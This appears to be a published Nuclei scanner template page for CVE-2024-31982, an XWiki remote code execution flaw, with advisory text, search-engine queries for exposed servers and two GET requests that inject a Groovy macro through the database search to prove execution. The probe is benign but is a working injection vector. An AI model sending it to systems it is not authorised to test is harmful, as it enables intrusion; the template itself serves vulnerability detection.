XWiki < 4.10.20 - Remote code execution
ID: CVE-2024-31982
Severity: critical
Author: ritikchaddha
Tags: cve,cve2024,xwiki,rce
Description
Section titled “Description”XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki’s database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page Main.DatabaseSearch. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.
YAML Source
Section titled “YAML Source”id: CVE-2024-31982
info: name: XWiki < 4.10.20 - Remote code execution author: ritikchaddha severity: critical description: | XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki. impact: | Successful exploitation could lead to remote code execution. remediation: | Apply the vendor-supplied patch or upgrade to a 14.10.20 ,15.5.4, 15.10-rc-1. reference: - https://jira.xwiki.org/browse/XWIKI-21472 - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9 - https://jira.xwiki.org/browse/XWIKI-21110 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-31982 cwe-id: CWE-95 epss-score: 0.0015 epss-percentile: 0.50461 cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* metadata: max-request: 2 verified: true vendor: xwiki product: xwiki shodan-query: html:"data-xwiki-reference" fofa-query: body="data-xwiki-reference" tags: cve,cve2024,xwiki,rce
http: - method: GET path: - "{{BaseURL}}/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20" - "{{BaseURL}}/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"
skip-variables-check: true stop-at-first-match: true matchers: - type: dsl dsl: - 'contains_all(body, "Hello from search text:42</title>", "<title>RSS feed")' - 'contains(header, "text/javascript")' - 'status_code == 200' condition: and# digest: 4a0a00473045022100a4e7b5c6c6e2bad307034fbea09da829e471d8deb0870e6f2c7865cf901572150220361e63f30f70f780ed64453cb0e4dea9a05bda64929e83f17528ae925981826e:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-31982.yaml"